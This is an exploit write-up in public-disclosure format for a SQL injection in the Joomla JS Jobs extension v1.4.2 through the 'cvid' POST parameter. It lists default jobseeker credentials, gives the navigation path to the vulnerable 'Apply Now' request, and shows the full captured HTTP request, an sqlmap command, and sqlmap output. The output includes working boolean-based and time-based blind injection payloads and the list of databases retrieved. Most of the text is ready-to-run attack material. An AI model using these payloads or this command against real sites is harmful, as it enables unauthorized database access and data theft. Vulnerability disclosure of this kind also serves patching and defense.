Joomla JS Jobs plugin 1.4.2 - SQL injection

# Exploit Title: Joomla JS Jobs plugin 1.4.2 - SQL injection
# Google Dork: n/a
# Date: 07/07/2025
# Exploit Author: Adam Wallwork
# Vendor Homepage: https://joomsky.com/
# Demo: https://demo.joomsky.com/js-jobs/jm/free/
# Software Link: https://extensions.joomla.org/extension/js-jobs/
# Version: v1.4.2
# Tested on: v1.4.2


An SQL injection vulnerability exists in the JS Jobs extension (v1.4.2) via the 'cvid' parameter and is exploitable as the jobseeker user.

To exploit this vulnerability login as the jobseeker user with default credentials (jobseeker:demo) and go to 'jobseeker-controlpanel >> My Stuff >> Newest Jobs >> Newest Jobs >> Apply Now >> Apply Now' and capture the "Apply Now" request (req.txt).

HTTP Request:
```
POST /index.php?option=com_jsjobs&task=jobapply.jobapplyajax HTTP/2
Host: localhost:8080
Cookie: joomla_user_state=logged_in; 67aa5f9b49e233456b916ea62ef1447b=kjou43pssdvaa5plr84dhc8P64
Content-Length: 38
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/index.php/component/jsjobs/newest-jobs?Itemid=
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

jobid=1&cvid=1&coverletterid=4&uid=460
```

Exploit:
```
sqlmap -r req.txt --dbs --batch -p cvid --dbms=mysql --threads=10
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.9.1.2#dev}
|_ -| . [']     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

---
Parameter: cvid (POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: jobid=1&cvid=(SELECT (CASE WHEN (7270=7270) THEN 1 ELSE (SELECT 6098 UNION SELECT 7386) END))&coverletterid=4&uid=460

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: jobid=1&cvid=1 AND (SELECT 6497 FROM (SELECT(SLEEP(5)))EAyv)&coverletterid=4&uid=460
---

available databases [2]:
[*] joomla_db
[*] information_schema
```